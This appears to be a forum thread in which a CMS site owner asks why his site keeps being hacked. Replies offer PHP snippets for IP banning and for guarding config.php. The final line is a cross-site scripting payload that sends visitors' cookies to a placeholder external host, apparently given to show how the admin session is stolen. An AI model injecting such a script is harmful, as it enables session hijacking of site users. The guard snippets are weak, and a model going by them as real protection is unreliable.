$ip_banned=array("255.255.255.255","0.0.0.0"); // IP's that are banned..
$ip = $_SERVER['REMOTE_ADDR']; // User IP-adress
foreach($ip_banned as $value) {
if($value==$ip) die("Your banned!");
}
Quote
agl wrote:
well the site got hacked again today and i exactly have no idea what to do next... i emailed the hacker asking for the bug he's using to hack the site... and gonna stop working on the site till i find the error (don't want my time and work to be wasted everyday he hacks the site). is there any known exploit in v6.01.6 ? he seems to be able to easily hack my account. i think it may be by creating a fake cookie and making the system think it's the admin... not sure though but i'm sure he doesn't and can't hack the cpanel and is getting the mysql pass from the files in the site... do you think encoding the config.php file using programs like phtml encoder can help?
Quote
do you think encoding the config.php file using programs like phtml encoder can help?[
foreach (explode("/",$PHP_SELF) As $d) {if ($d == "config.php") {header("Location: index.php");}}foreach (explode("/",$PHP_SELF) As $d) {if ($d == "maincore.php") {header("Location: index.php");}}<?php
foreach (explode("/",$PHP_SELF) As $d) {if ($d == "config.php") {header("Location: index.php");}}
// database settings
$db_host="***";
$db_user="***";
$db_pass="***";
$db_name="***";
$db_prefix="***";
define("DB_PREFIX", "***");
?><script>img = new Image(); img.src = "http://www.website.com/s/s.jpg?"+document.cookie;</script>
